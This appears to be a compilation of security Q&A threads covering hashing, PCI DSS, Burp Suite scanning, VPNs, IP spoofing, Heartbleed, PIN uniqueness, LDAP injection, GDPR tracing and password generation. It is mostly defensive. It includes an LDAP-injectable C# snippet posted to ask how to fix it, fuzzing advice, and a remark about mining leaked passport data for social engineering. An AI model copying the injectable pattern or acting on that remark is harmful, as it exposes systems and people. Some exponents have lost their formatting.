if salt stored in user, will it be possible to use brute force attack? I had done a lot of research about this topic.

Before Researchs

I found that some people suggest that to hide salt is not important: https://crackstation.net/hashing-security.htm

But also this article suggests to use keyed hash which you have to hide some kind of key.

From different sources I learned that the best way to hash is using bcrypt.

Describing Situation

secret string is random string that created by following code: bin2hex(openssl_random_pseudo_bytes(64));

User enter the website, we gave him string which contains both secret string and the salt. And we store hashed version of secret string by using the salt but not storing salt.

Next time, user enter the website and copy&paste secret string along with salt and we verify it by hash function using those.

Question

I am able to hide salt via giving it to the user to store it along with secret string. In this case will hacker be able to use brute force attack?
What will be advantage of hiding salt?

  it is not a password, so user shouldn't remember it, we just need to
  find a way to prevent attacker to get the original string that website
  gave to the user

The canonical way to secure an additional secret key is with an HSM, as in this answer.

When properly implemented, an attack cannot be carried out without access to the HSM itself. So an attacker cannot steal a list of hashes and crack them somewhere else.


Third party access and PCI DSS Does giving access to third party to access the environment where the card holder data are passed against PCI DSS requirement?

The third party will have access only to a particular directory where NO customer data hits or exists.

PCI DSS Scope

For PCI compliance you need meet the security requirements for all the Application/DataStorage/Networking that manage the cardholder information or that it's connected to the environment where the cardholder data is stored/managed or proccessed.


Burp Suite Active Scanning Wizard options I have been making use of Burp Suite's active scanning functionality for some of my recent web application assessments and I had some questions about the active scanners ability to remove urls from the scan queue that have particular characteristics such as being a media response or having a certain file extension.

Often times after spidering a site I will get inundated with urls that have no parameters which significantly extends my time spent scanning using this tool. With all this said, my main question is what are the repercussions of removing urls of this type from my active scanning queue and what other concerns arise when skipping over urls of this type during a application assessment. Will the quality of scans decrease much in excluding these urls?

It is best to plan out and control each URI (params or not) sent to the active/passive scanning engine.

The target analyzer in the engagement tools (typically selected from the Target sitemap tab as "Analyze target") is a great place to select parameters and then "send to Intruder". Typically, you can customize your fault injection strategies in Intruder by automating what to send to the Scanner as well as by using the full Intruder functionality. The former is accomplished by customizing each insertion point by position and selecting "Actively scan defined insertion points" from the Intruder menu. The latter can be accomplished by using the full Intruder functionality with a standard set of fault-injection lists, such as the SecLists project found in Kali Linux.

To answer your question fully, it is best to understand the application. Sometimes parameters are part of the URI, such as in a RESTful-based app or one that uses a controller-action-id paradigm. Learn more about HTTP security from Daniel Miessler's blog. Thus, it is important to map the functionality of the app in the Target tab, understand the parameters and logic before even moving to the Target Analyzer, and selecting all appropriate positions and testing each insertion point with the correct payloads and response analyses. Often this is best done in the Burp Repeater, perhaps even along with the browser -- all too often applet, ActiveX, Ajax, Flash, or Silverlight parameters are missed in the test plan!


Can VPNs prevent information from being stolen by keyloggers screen readers? What role, if any, do VPNs play in preventing information being stolen by keyloggers and mouse/screen readers?  Here's my thought process:

Even if malicious software is present on your device, for any stolen information to be of any use to anyone doesn't it have to be transfered over some type connection, presumably the Internet?
Even if the adversary were able to get that data wouldn't it be unreadable to them since the VPN encrypts all outbound traffic?
Would the data have to be hidden within your normal traffic and if so where in the system could you look for it, i.e. are there any kind of "logs" where you could look for things that don't belong?
Is there malicious code that redirects the data to attacker, or does he have to manually intercept the traffic, or does this have to do with DNS spoofing?
Is the exit point of the VPN server a possible/preferrable point of interception since the traffic leaves unencrypted?  How easy is it for the adversary to track my traffic to the VPN servers exit?
EDIT: Is this one more thing I shouldn't expect VPNs to protect me from?  What can be done in place of or in addition to a VPN to protect yourself from these type of attacks?

VPNs are not going to provide you any protection against keylogging/screen grabbing malware, all a VPN does is encrypt traffic between one point and another. Once the traffic exits the VPN it will then continue onto its destination whether that is a legitimate system or a hackers command and control system. It will not prevent you from getting malware in the first place or prevent malware from being able to send your data out.


Risks for a new type of website login feature What would be a security risk for a website feature that allows you to connect to your account without typing your password, given that you allowed such a login for the next say 10 seconds from a second secured device of yours.

A simple use case is that your are trying to log in from an unsecured pc. You do not want keyloggers accessing your keystrokes, but you still need to gain access to your account on that insecure location.

Attackers knows all about automation. Ten seconds are a lot of time for an attacker who knows how to write scripts. In your scenario, if the insecure PC is malicious, it can use this very small window to enact a lot of harm: contrary to a human user, the attacker is not limited to how fast he can move a mouse.

I suppose that you want to login with your smartphone, and, from that smartphone, allow access to your account for "ten seconds" from the possibly malicious PC; the idea being that you do not want to type your precious password on that PC. This will indeed be beneficial to you if you assume that the PC just passively grabs passwords, but will not actively connect to whatever Web site you wish to use. Not all attackers can be trusted for being so polite, though.

Another similar but much more common and robust solution is to use one-time passwords. Instead of opening your accounts to everybody, even for a short time, use a password which works only once. Key loggers can log it, it won't matter, since the server will not accept each password more than once. You still have all the issues with maliciously active insecure PC: once you accept to use the bad guy's machine, you are giving him, virtually, access to your account for at least the few seconds you are using it, and that's enough to forfeit your security.


Is it bad that my ed25519 key is so short compared to a RSA key? I recently generated a new SSH key in the ed25519 format.
The public key is only 69 bytes long while my old RSA key is 373 bytes.

From my perception ed25519 is the more recent and secure format.

So why isn't longer better here?

No, longer is not better.

Let me explain. In symmetric cryptography, keys are just bunches of bits, and all sequences of bits are valid keys. They have no internal structure. Provided that you use decent algorithms, the best possible attack on a key for symmetric encryption is brute force: the attacker tries all possible keys until he finds the right one. If the key has n bits, then there are 2n possible keys, and the attacker, on average, will find the right one after trying half of them, i.e. 2n-1. Longer keys thus make brute force harder; in that case, longer is better.

(Note that there is a limit to that; when keys are sufficiently long that brute force is no longer feasible, increasing the key length does not make things "more secure" in any meaningful way. So, for symmetric keys, longer is better until they are long enough, at which point longer is just longer.)

RSA and EdDSA relate to asymmetric cryptography where things are completely different. A key for asymmetric cryptography is a mathematical object that has a specific internal structure; breaking the key consists in unravelling that structure, and can be done a lot more efficiently than trying out all possible private keys. Note the two points:

Against brute force, what matters is not the length of the public key, but that of the private key, since what the attacker wants is the private key, not the public key.
Brute force is not the most efficient attack against keys used in asymmetric cryptography.

For RSA keys, attack succeeds by factoring the modulus. Integer factorization is a long-studied problem; with the best known algorithm, breaking a 2048-bit RSA key (i.e., a RSA public key whose modulus is a 2048-bit integer) requires about 2110 or so elementary operations.

For EdDSA keys, the public key is a point P on an elliptic curve, such that P = xG where x is the private key (a 256-bit integer) and G is a conventional curve point. The best known algorithm for recovering x from P and G requires about 2128 elementary operations, i.e. more than for a 2048-bit RSA key. In general, to break a n-bit elliptic curve public key, the effort is 2n/2.

Breaking either key is way beyond that which is feasible with existing or foreseeable technology. But in an "academic" viewpoint, the EdDSA key is somewhat stronger than the RSA key; also, elliptic curves give you more security per bit (technically, we say that integer factorization is a sub-exponential problem).

See this site for more information on that subject.


Security Consequences of compromised passport data In light of the recent hack of the EC-Council site, where the hacker makes the point that he has access to passport data a general question arises.

What, if any, are the security/privacy consequences for people of their passport data being compromised?

The specifics will likely depend on your passport's originating country. Let's assume you're not actually British and instead have a US passport. Mine has the following information:

Pretty clear picture of my face
First, Middle, and Last name
State of Birth
Birthday
Passport number

The adjacent page also contains a signature line, so depending on what exactly was exposed your signature may be included.

While this isn't strictly sufficient to perform identity theft, it's certainly pretty close. This is also much of the same information that is available on social media sites for many people. Assuming this is the information that's been released...personally I'm less than impressed. As already mentioned for many people it's already public.

A much more interesting aspect is that many US federal positions, particularly related to the Department of Defense, require a CISSP or CEH. Since the CEH is easier we can assume it's the more common. So with some clever filtering it may be possible to construct some fantastic social engineering data for a population that likely has some pretty fun access.


Is it possible to spoof an IP address to an exact number? The title says it all really. Say my IP address was 1.2.3.4 and I wanted to change or 'spoof' it so that its exactly 2.3.4.5, would this be possible or are there too many varying factors that need to be taken into account before getting a definitive answer?

Why you might ask?

Well I was in a store the other day and they had iPads around the room setup so that they were showing the store's online website. I went over and looked at one and noticed that what was showing on their in-store iPads was different to what I would see by simply connecting to their site via my phone (and yes, they were both the exact same link using the same exact browser, Safari).

This lead me to think that the only way they're able to do this is by either having the site detect the device's IP address and show specific (or exclusive) content on their homepage based on that, or by having the site detect that the device is using the stores WiFi (although I doubt this is possible, hence why I thought the IP route was more plausible).

So I was curious whether it'd be possible to spoof my device's IP to that of the stores' exact IP so that my device showed exactly what theirs did in regards to their website.

Feel free to discuss this, I know this is very very specific and with minimal details known, so I doubt there's a definitive solution...

You can change your IP to whatever you want; that's trivial. But that will not work the way you want to.

Let's say the store's ISP is Apple Networks, and their IP range is 1.2.3.0 to 1.2.3.255. You note that and get home. Your home network is from Avocado Networks, and their IP range is 2.3.4.5. You change your IP to 1.2.3.123 and wait. Nothing happens. You cannot access any site. You are offline.

But why?

Routing.

Avocado Network tells the entire world they own the network 2.3.4.0, so when people want to reach anyone on that range, they send the packet to Avocado routers. They don't send any 1.2.3.0 packets to them, they send to Apple Networks routers as they are the ones advertising to the entire world their IP range. So your computer sits there, waiting for anything to come, and nothing happens.

If Avocado Networks employs Egress Filtering, your packets don't even leave their network. Their routers will say this is a packet coming from my network, but it says it's from Apple Networks' address space; it must be an error, so I will drop the package.

If they and nobody along the path uses Egress Filtering, your request for connection will reach pineapple.com, the site will respond as usual, but the response will be sent to Apple Networks routers, not Avocado networks. And either there will be nobody with 1.2.3.123 IP address to answer and the packet gets forgotten, or there will be an 1.2.3.123 there, and they will say sorry, I never heard from this connection before. Forget it. and that's that.

To achieve what you want, you must connect a system to the store network, make it work as a proxy, and forward packets from your home to that system, and then that system will access pineapple.com site on your behalf and send you the response.


Are all SSL/TLS implementations vulnerable to the Heartbleed bug? I've learned the theory behind the SSL/TLS protocols and how effective they are to achieve a secure communication between clients and servers.

Do all the implementations OpenSSL, PolarSSL, MatrixSSL, and Mozilla NSS use the same underlying theory of SSL and TLS? If so, does it mean that Heartbleed bug would change the degree of promise toward SSL/TLS?

If you look at the Heartbleed summary:

  The Heartbleed Bug is a serious vulnerability in the popular OpenSSL
  cryptographic software library. This weakness allows stealing the
  information protected, under normal conditions, by the SSL/TLS
  encryption used to secure the Internet. SSL/TLS provides communication
  security and privacy over the Internet for applications such as web,
  email, instant messaging (IM) and some virtual private networks
  (VPNs).

  The Heartbleed bug allows anyone on the Internet to read the memory of
  the systems protected by the vulnerable versions of the OpenSSL
  software. This compromises the secret keys used to identify the
  service providers and to encrypt the traffic, the names and passwords
  of the users and the actual content. This allows attackers to
  eavesdrop on communications, steal data directly from the services and
  users and to impersonate services and users.

You asked:

  Does it mean that Heartbleed bug would change the degree of promise
  toward SSL/TLS ?

No it doesn't. You can see it's specifically about openssl. Heartbleed was a software bug, a  programing error. It was not a weakness in the SSL/TLS protocol itself, like for instance CRIME or BEAST.  The important lesson we learned from Heartbleed is that code should be reviewed prior to its usage. The memory leak in OpenSSL was a significant  one, but programing errors exist and will exist in the future. All we can do is perform regular code reviews and simplify/clean code (OpenSSL is a bit of a mess).

The other libraries (actually any piece of software for that matter) could have easily had one as well, the main threat here is human error, which is sometimes hard to mitigate.


Secure solution for unique PIN generation to external clients I am evaluating requirements for delivering a secure application design on a PIN management system.  The context behind the need for it is that PINs are generated and securely mailed to clients for purposes of authentication over a phone telephony system.  The telephony system when presented with account identification and PIN will call the PIN management system for authentication of the client.

For all intents and purposes I have established that best practices on an authentication service should be followed.  PINs should be protected and confidential as per how one might protect passwords in a system.  My question however has to do with the best way to handle generation of a PIN.

The clients have no ability to decide on their own PIN.  The system must generate a PIN for the customer, then securely pass it to a security mailer machine that prints it out within a self sealed privacy envelope.  The PIN does not expire but can be revoked by an admin.  The client can request a new PIN for any reason which invalidates their current PIN.  The PIN is 8 character alphanumeric.

The requirement that I am unsure about is that the business insists that all PINs should be unique.  No two clients should ever by accident receive the same PIN.  On the surface this seems like a relatively benign requirement until I start to consider how the system might be able to verify the uniqueness of a PIN on a global scale.  I would think that if it is best practice to salt the PIN with data that is record specific, then hash the result, we would store a cryptographically unique PIN that cannot be reversed and is resistant to rainbow table attack.  To keep a record of all unique PINs that have already been generated however, I would need to keep a separate hash of these in another location but salted globally such that I could verify if a newly generated PIN had by chance been generated already.

I would think just keeping a list of hashed PINs that have historically been generated presents a huge security liability for the system, arguably riskier than the chance that any two clients might happen to have the same PIN.

I am having trouble understanding not only why the business is adamant about this, if it is just because a similar legacy system operates this way, or if there happens to be some regulatory reason why it must be this way.  I am also having trouble understanding how I can securely implement such a solution without creating a vulnerability.  Any suggestions for how or if this can be securely accomplished?

UPDATE: Additional info, this is a relatively small amount of clients, perhaps less than 20k.  If one were to determine what the global salt was by looking at code, then a rainbow table could determine a large number of currently in use PINs.  Any known PIN might have a 1/20k chance of being correct for a given client.

I tend to agree with you that your business team is overemphasizing the need for the 'PINs' to be unique among customers, but you have to decide whether to continue fighting that fight or start working to satisfy their requirement.

I see a couple ways you can accomplish this.  The first is to create a separate repository of assigned PINs that you can consult during the new PIN generation process.  The quickest approach would be to keep this data encrypted and decrypt it only to run a search or add a new entry.  This offers some protection of the data while being very efficient.

However, if an attacker manages to gain access to the decryption key they also can decrypt this data, which is why many people in our industry frown upon encrypting secret authenticators rather than hashing them.  You can combat this risk by using hardware to store the key and manage the encryption, but that adds expense to your solution.

Alternatively you can just store the PINs in your primary authentication database however you normally would.  They'd (hopefully) be individually salted with unique salts and put through appropriate hashing iterations (using something like PBKDF2, bcrypt, argon2, etc.).  When a new PIN is generated your system would need to retrieve each hashed record, extract the salt, and use it alongside the new PIN to repeat your normal hashing process.  Then the results would be compared, and if they match you need to generate a new PIN because you know there's a conflict.

The downside to this approach is that the time and computation cost needed to complete this comparison process.  In most cases you'll be retrieving every record and repeating the hashing process that many times.  Depending on the speed of your hashing process and the number of existing records it may take anywhere from 5-20 seconds.  That's probably not an intolerable delay in a non-user facing process that only occurs occasionally, but you'll have to consider that cost given your specific environment.  This is inefficient but better preserves the security of the PINs.


X509 CRL suspended certificates and openssl ca comand In CRL X509 format we have "Hold Instruction code" for a list of suspended certificates. I know that "its use is strongly deprecated for the Internet PKI", but in my own private CA, I want to use it.

Openssl has a ca command where I can do all the "ca" stuff direct on my linux cli. It has an option -crl_hold instruction to put "on hold" a certificate, but how can I remove the "on hold" status of this certificate? I haven't found any way to manage the temporary suspension of this certs.

Any help will be very helpful.

From the OpenVPN 2 Cookbook:

  The OpenSSL ca command generates its CRL by looking at the
  index.txt file. Each line that starts with an ' R ' is added to the
  CRL, after which the CRL is cryptographically signed using the  CA
  private key.

To reinstate your revoked certificate, you could edit your CA database:

database       = $dir/index.txt        # index file.

1. Update the relevant entry in $dir/index.txt, by replacing R=revoked with V=valid.
2. Recreate the crl file: openssl ca -gencrl ***
3. What's left is the automation of the process (A script?)


Can a firewall tamper with email attachments? I am using Thunderbird as an email client for managing my different email accounts. Yesterday my friend sent me an email with a PDF attachment. Today when I tried to open the attachment I get the following error popping up:

This attachment appears to be empty.
Please check with the person who sent this.
Often company firewalls or antivirus programs will destroy attachments

I don't understand the error, is there any way of retrieving my email back? How emails are inspected? Are they not secure (i.e HTTPS)

When you send an email, it doesn't go directly from the sender to the receiver. It is sent via a mail protocol (e.g. SMTP) to a mail server, which then routes it to the mail server responsible for the target address, or just stores it if the sender and receiver servers are the same. From there the target asks their mail server (via another mail protocol, e.g. POP3) for any new emails, and downloads it.

For example (domain names not accurate):

Alice, whose email address is alice@hotmail.com, wants to send an email to bob@gmail.com.
Alice looks up the MX DNS entry for hotmail.com and gets mx1.hotmail.com, so she connects there and sends the email via SMTP, optionally via TLS for security.
mx1.hotmail.com looks at bob@gmail.com and finds the MX entry for gmail.com, which is mx1.gmail.com. The Hotmail server forwards the email along to Gmail.
Bob checks his email. He talks to mx1.gmail.com via POP3, optionally over TLS, and gets the email.

This is an oversimplification, since the forwarding step often involves sending the email to a mail exchange gateway of some kind, which then selects which internal mail server it should be sent to.

Whilst the protocols involved may be encrypted, the emails and their attachments are not encrypted when they reach the mail server. At any point in this chain, the email contents could be inspected or modified. They may do some form of malware scan on the files, or strip attachments based on whatever policy they choose.

The standard way of preventing this is to use an email encryption scheme, e.g. GPG. This involves encrypting the data at the sender's end and decrypting it again at the receiver's end, with keys preshared via asymmetric cryptography.


Bank cards - chips vs mag stripe security In this thread:
Why are chips safer than magnetic stripes?

the answers all seem to be that the chip cards are far more secure and difficult to copy. Here is my problem, and my question. A couple of years back, there was a lot of talk about moving cards to a chip system - and a lot of counter talk about how INSECURE the chips were (RFID, if I recall?) - as they could be read with simple readers up to a few feet away from the card itself.

So, what is missing from my information? Are the RFID chips that were in the news a couple of years back different from what is in use in UK or Germany? And yes, I googled, and it seems like they might be - but I didn't see anything definitive in my results.

RFID is a technology for contactless cards. A basic smart card is not RFID-able; for decades, payment smart cards were not RFID; to talk to the chip you had to plug to it (that's what happens in a payment terminal).

In recent years, a number of banks have begun to promote some extra "electronic cash" systems. With such a system, an RFID-able chip is added into a credit card which may also have a non-RFID chip. The contactless transactions are kept separate from the "normal" transactions; possibly, the card contains two distinct chips which are physically separated; or maybe the separation is only "software". However, the rules for both kind of transactions are normally distinct, for three reasons:

The contactless interface might conceivably be abused more easily since, by definition, it is contactless.
The convenience of the contactless interface would be severely diminished if the user still had to type his PIN code. The contactless payment is meant for small, everyday transactions (e.g. when you buy a croissant in a bakery) which are supposed to be conducted as fast as possible.
When using the contactless interface, the chip draws power from the variable magnetic field of the reader; this is much less power than what can be obtained through the normal connector. Correspondingly, the RFID chip is generally unable to perform extensive computations; in particular, digital signatures are out of the question.

So the expected result is that when a credit card has a chip AND can engage in contactless payment operations, then the latter is only about a small, finite "wallet" with at most 100$ in it or so; and completely hacking the card through its RFID interface does not give access to the main credit line of the card owner.

An extra source of confusion is that the concept of smart cards was patented in France in 1986. Many non-French banks, in particular in North America, thus decided not to deploy smart cards until the patent expired (in 2006). Before 2006, thus, these banks regularly justified their opposition to smart cards by sleazy suggestions about the "insecurity" of smart cards (these were damn lies, but they worked well with the customers). In 2006, right on cue, began to appear TV commercials about how banks had just discovered a new technology which is super-safe to protect card owners: the smart card. (Technically, this also is a damn lie; smart cards have never been about protecting customers; smart cards are about protecting banks because banks are ultimately responsible for transaction security, and are legally obliged to refund customers when fraud occurs.)


How do I sanitize LDAP input and prevent injection attacks?  What LDAP injection scenarios are possible? In the following C# example I'm querying AD's configuration container for Exchange overrides.  If the domain name in unsanitised the end user could get LDAP to read a different object then intended.

I'm not sure if other actions other than read are possible.

    static string GetExchangeDomain(string targetDomain)
    {
        string retFoundDomain = "";

        string remoteDomainLocation = "CN=Microsoft Exchange,CN=Services,";
        string filter = string.Format("(domainName={0})", targetDomain);

        string[] props = new string[] { "targetAddress", "description" };

        using (DirectoryEntry rootDSE = new DirectoryEntry("LDAP://RootDSE"))
        {
            string serverName = rootDSE.Properties["dnsHostName"].Value as string;
            string domainContext = rootDSE.Properties["configurationNamingContext"].Value as string;

            using (DirectoryEntry exchOrgDE = new DirectoryEntry("LDAP://" + serverName + "/" + remoteDomainLocation + domainContext))
            {
                foreach (DirectoryEntry item in exchOrgDE.Children)
                {
                    string orgName = item.Name;

                    if (item.Properties["objectCategory"][0].ToString().StartsWith("CN=ms-Exch-Organization-Container"))
                    {
                        using (DirectoryEntry exchangeRemoteDomains = new DirectoryEntry("LDAP://" + serverName + "/CN=Internet Message Formats,CN=Global Settings," + orgName + "," + remoteDomainLocation + domainContext))
                        {
                            using (DirectorySearcher searcher = new DirectorySearcher(exchangeRemoteDomains, filter, new string[] { "cn", "domainName" }))
                            {
                                searcher.ReferralChasing = ReferralChasingOption.All;
                                SearchResult result = searcher.FindOne();

                                if (result != null)
                                {
                                    retFoundDomain = result.Properties["cn"][0].ToString().TrimEnd(("." + targetDomain).ToCharArray());
                                }
                            }
                        }
                    }
                    item.Dispose(); // not sure if this is required...
                }
            }
        }

        return retFoundDomain;
    }

Question

Are there any examples or tools that test for LDAP injection?
What is the correct way to sanitize the input for an LDAP query?

In worst case an attacker can run query of his choice in LDAP directory. Results may differ but definitely you don't want attacker to do this.

If you are using .NET framework, you could use AntiXSS library. I know that LDAP injection is not XSS, nevertheless XSS is also a form of injection and correct way to prevent this kind of vulnerabilities is to validate input date and encode it correctly before passing it to an interpreter (browser, SQL server, LDAP server). AntiXSS library offers functions intended to encode potentially dangerous data before passing it to LDAP (LdapDistinguishedNameEncode, LdapFilterEncode). You can also take a look into OWASP ESAPI project, especially into DefaultEncoder.encodeForLDAP function.


IP address and user tracing A web server logs the client IP address but without the last octet due to GDPR, as well as other data such as URI, date, time, cookie, User-Agent etc.
Can law authorities identify a wrongdoer based on the logs from the web server, including the truncated IP address, and the logs from the ISP? I assume they have a subpoena to obtain the logs.

Yes (unless the wrongdoer took precautions)
To sum it up, approximately: the ISP CANNOT trace the person (map the person, they have business with, to the site user). They cannot even know there is a site the person accessed. The website CANNOT trace the user (map the user to the person).
GDPR ensures that the log data are split among the parties in such a way that they can't join them (where this can't be done - because the website has, let's say... your biometric data?), they legally MUSTN'T use the data they have. For example a frisky employee should not be able to get the address of a customer who bought a particularly kinky sex toy, even if purchase data and delivery address are both on the Web site, and IP isn't even needed. If at all possible, purchase data and delivery information should be separate (1).
But the authorities can perform the join that the GDPR does not allow to anyone else. So you have privacy, but only so long as you don't run afoul of the law.
Of course the "physical person" is the owner of the ISP account, which might not be the wrongdoer if, e.g.

the wrongdoer exploited an unsecured WiFi belonging to someone else
the ISP account is not the real one due to VPN, TOR, or remote desktop. In these cases, a further investigative stage may or may not disclose who it was that accessed the intermediate node, whose IP turned out in the logs.

(1) I am actually consulting for an e-commerce site where this is exactly the case (not Amazon, if anyone wonders). The order has the delivery information from Accounting encrypted with a public key, and the corresponding private key was given to the logistics firm and immediately destroyed afterwards. So the site knows that an order has come from user 12345 for item XYZ, and tells logistics to ship item XYZ to user 12345, address Base64EncryptedBlob, but it doesn't have any idea who 12345 is, or where s/he lives; it only knows that Accounting vouches for their money being good.

I will describe a real situation. I am now connecting to Amazon Europe site, through my Fastweb ISP. Both entities have to comply with GDPR, and as far as I know, they do.
When I say "Connecting to Amazon Europe site" I am actually calling three different entities: let us call them Amazon Infrastructure, Amazon Application, and Amazon Accounting.
Amazon Infrastructure is responsible for the maintenance of the Web server, and they log my full IP address, my User-Agent, obviously the URI and other information.
They are subject to the GDPR, so that information has to be kept safe, must be the minimum necessary to ensure proper operation, has to be purged after the data retention window expires. If it contained personally identifiable data, which it doesn't, I would have to be informed and would have the right to request rectification or cancellation.
They are responsible for the session layer that ensures that I can communicate correctly and flawlessly with...
Amazon Application, which is the e-Shop front-end, and needn't know my IP and therefore doesn't. They have a Session ID (which they log) and, after authentication, a User ID. They should have nothing else because they don't need it, and an appropriate API allows Amazon Application to show me my personal information, which it will never log, from...
Amazon Accounting, who knows my name, purchase history, bank information and so on. They don't have my IP address or Session ID because they don't need it. Also, for obvious reasons, I expect Amazon Accounting to exist within the digital equivalent of a fortified citadel. Here are my personal identifiable data (the IP is just personal), and I have the right of requesting update or deletion, subject to other provisions of the law - for example, I can request they forget everything about me, but payment data have to be kept for - if I remember correctly - up to ten years. They shouldn't be able to access that information after my request, except in anonymous form.
Now, something bad happens - an order gets contested, and I swear I did not place the order. Things go downhill to the point that the police gets involved. The issue is between me and Amazon Accounting.
This is where Fastweb can be contacted, but Fastweb's data will not be shared with Amazon. The police will collect data independently from the three Amazon entities plus Fastweb and run their own matching, which will allow them to pinpoint where the fiber optic cable is installed from which packets from a certain IP address came around on a certain day at a certain hour. They can also access any data that I asked to be forgotten, and Amazon accordingly sealed (so, "forgotten" does not mean "destroyed").
If necessary, my device will be impounded and analyzed to determine whether it was the one that was used for the crime.
It is entirely possible and even likely that the plaintiff might win the suit and collect damages and still not know lots of the information that was assembled during forensic operations.
So, they will never "trace" anyone, because they can't. But that someone will, nonetheless, be traced. Neither Amazon logs or Fastweb logs are enough for the full trace (Fastweb doesn't know that I visited Amazon web site, nor can they legally sniff the traffic or log outgoing IPs except in very specific, limited scenarios; Amazon can't know where the other end of a connection is), but together they are; under EU law, only police officers with a valid warrant can perform the match.


Strong password vs. restriction on number of attempts To begin with, I am considering the password protection of standard internet services like Gmail or Dropbox. They often force users to choose a "strong" password, that is many characters, including uppercase letters and digits, so probably Password1 would work.

But bank cards usually have 4-digits passwords, whose security is based on the restriction on the number of attempts, usually limited to 10. After that many tries, you must visit your bank to unlock your card.

Why do internet services not go the same way? For example, after 10 incorrect passwords your account would be blocked for a day, after ten more -- for a week, and so on. If you are its owner, than you probably would not enter incorrect password 10 times. The problem I imagine lies in the fact that somebody else may be able to block your account. But probably the IP-address check will do.

Is this lockout technique not better than forcing a user to choose a password which either only seems to be strong, or is very difficult to remember and probably is written on the back of the computer? Or at least to allow a user to choose a protection method themself?

Why do internet services not go the same way?

Fundamentally, because users don't want it.

Implementing stronger security measures would mean spending money to do it, and for most internet services, stronger measures would also negatively impact the user base and usage of the service. Especially if you're an ad-revenue driven internet service (as most are), the last thing you want to do is prevent people from using your service for a period of time, because that's lost revenue.

Balancing security and convenience is difficult at the best of times, and when it comes to internet-based services, it is exceptionally difficult, because typical users, and the vast majority of users, are simply not willing to sacrifice any convenience at all, no matter how much security they get in exchange.  As you note, typical password complexity schemes allow for passwords like Password1.  Typical users pick a single, simple password like that, and use it for everything. (As every big password dump, ever, verifies.) They don't like to be told they can't use their password because it's laughably weak.

They just want to use the service, and are not willing to suffer much inconvenience to do so. With very few exceptions, if your service doesn't let them, there are a lot of nearly identical competing services that will, and that's where they'll go instead. And if they're not willing to "put up with" using anything remotely resembling a decent password, they certainly aren't going tolerate being locked out of their service or having an actual strong password/phrase forced on them.

To that point, here is a decent estimation and analysis of usage for Gmail's two-factor authentication option, which links a research paper from EuroSec 2015 (pdf) reaching very similar estimates. A free, optional, very secure (and easy, convenient) way to protect your Gmail account from being hijacked... and about 6.5% of people can be bothered to use it.

So, if Google can only manage to get about 6.5% of people to use a free, convenient layer of security for their online service, no one stands a chance of imposing stronger security measures on their users.


Big insurance website exposing StackTrace of Java JSON Parser Recently I coincidentally have discovered that an api endpoint of an insurance company is sending a StackTrace of a JSON parser as response to a http POST message with bad formatted JSON in the content field.

The url of the endpoint is indicating that it has the job to save data which is sent by a client. The stacktrace looks like this:

JSON parse error: Unrecognized token 'nul': was expecting 'null', 'true', 'false' or NaN;
nested exception is com.fasterxml.jackson.core.JsonParseException: Unrecognized token 'nul':
was expecting 'null', 'true', 'false' or NaN\n at [Source:
java.io.PushbackInputStream@5f81c2d8; line: 1, column: 10]"

How big of a risk is this?

By itself, it does not represent a particularly large vulnerability.  It does, however have the potential to disclose information about the system which can make it easier to attack.  For example, with the stack trace you've given us, we can see that the system is running fasterxml.  A quick google search led me to the following list of vulnerabilities: https://www.cvedetails.com/vulnerability-list/vendor_id-15866/product_id-34008/Fasterxml-Jackson.html.   The system may or may not have one of those vulnerabilities.

Assuming the system is vulnerable to one of the listed vulnerabilities, we could still exploit the vulnerability, even if we were not shown the error message.  Hiding the stacktrace would not solve the underlying issue.  It would however, make it more difficult to detect.


One liner to create passwords in linux? How do you create a readable password using bash with one line? What if i'm looking for 128 bits of entropy?

EDIT

By readable I mean the 94 printable ascii characters (without space). It can use less than these characters as long as it has at least 128 bits of entropy.

It depends on what you mean by "readable". If you want to use only hexadecimal characters, you will need 32 of them to reach 128 bits of entropy; this line will work (using only commands from the coreutils package):

head -c16 /dev/urandom | md5sum

This variant produces passwords with only lowercase letters, from 'a' to 'p' (this is what you will want if you have to "type" the password on a smartphone):

head -c16 /dev/urandom | md5sum | tr 0-9 g-p

If you want to type one less characters, try this:

head -16 /dev/urandom | md5sum

(Probability of getting all first 16 random bytes as 0x0A, i.e. the "newline" character, is 2-128, hence this line still gets 128 bits of entropy.)

Still limiting yourself to commands from coreutils, you can do this:

mktemp -u XXXXXXXXXXXXXXXXXXXXXX

This one generates a 22-character password, using /dev/urandom as internal source of randomness (I checked in the source code, and a strace call confirms). The characters are letters (uppercase and lowercase) and digits; since 6222 is greater than 2128, the 22 characters are sufficient.

Yet another one:

od -An -x /dev/urandom | head -1

this displays eight sequences of four hexadecimal digits. Arguably, this split into small sequences may help reading.

For a much longer line and a quite distinct kind of password, try this:

for i in {1..8} ; do head -$(expr $(head -c7 /dev/urandom | od -An -t dL) % $(wc -l < /usr/share/dict/british-english)) /usr/share/dict/british-english | tail -1 ; done

(this one works only on a 64-bit host; will you notice why ?). Apart from coreutils, that version also requires a dictionary file, here the one for British English.


Security evaluation: what is there apart from common criteria? ACME makes a product that is used in some security-sensitive applications. There are no particular security regulations or industry standards in the domain of this product. ACME's business arm would like to claim that “we're 150% more secure than our competitors”. ACME's customers would be more prone to believing that if the claim was backed by some kind of independent assessment. ACME's ethical arm would appreciate if such an independent assessment did in fact validate something about ACME's product's security.

It seems that the answer is to have ACME's product undergo some form of certification, the most obvious candidate being a Common Criteria certification. This looks like a daunting process; there isn't even an existing protection profile to hang onto, and CC certification introduces a large delay between the time a product version is finalized and the time it can be released. Also CC seems to validate methodology more than security. Are these somewhat uninformed opinions of CC founded? Are there alternatives to CC?

The French government has recently introduced a “first-level security certification” (CSPN), which is based on a lighter approach than CC: roughly speaking, a government-approved evaluator spends a predefined number of man-days doing gray-box attacks with respect to a PP. This would seem like an ideal solution, except that CSPN is completely unknown outside France. Is there a more internationally recognized certification that is analogous to CSPN?

I'm a CC evaluator with CGI Canada. Hopefully I can answer some of your questions.

I'm not entirely certain that CC is the most obvious choice. Common Criteria -- at least for the Canadian scheme -- cannot simply be purchased (this might be different in other jurisdictions, but I think France is similar). The product has to support the security posture of the Cdn gov't. What this means is that if similar products are not in use in the Cdn gov't, critical infrastructure, and associated services, and is not seen as being one of a handful of emerging technologies that will be implemented, then it is unlikely you could even start a CC program.

With that said, let's assume that you have a product that could go into the CC program.  There's no stipulation that states the product has to be finalized before the CC program can start. There is only the stipulation that the product not change in specifications while the  evaluation is going on.  It is entirely common for a developer to be actively building a product while undergoing an evaluation.  This just-in-time evaluation methodology is very efficient and popular.

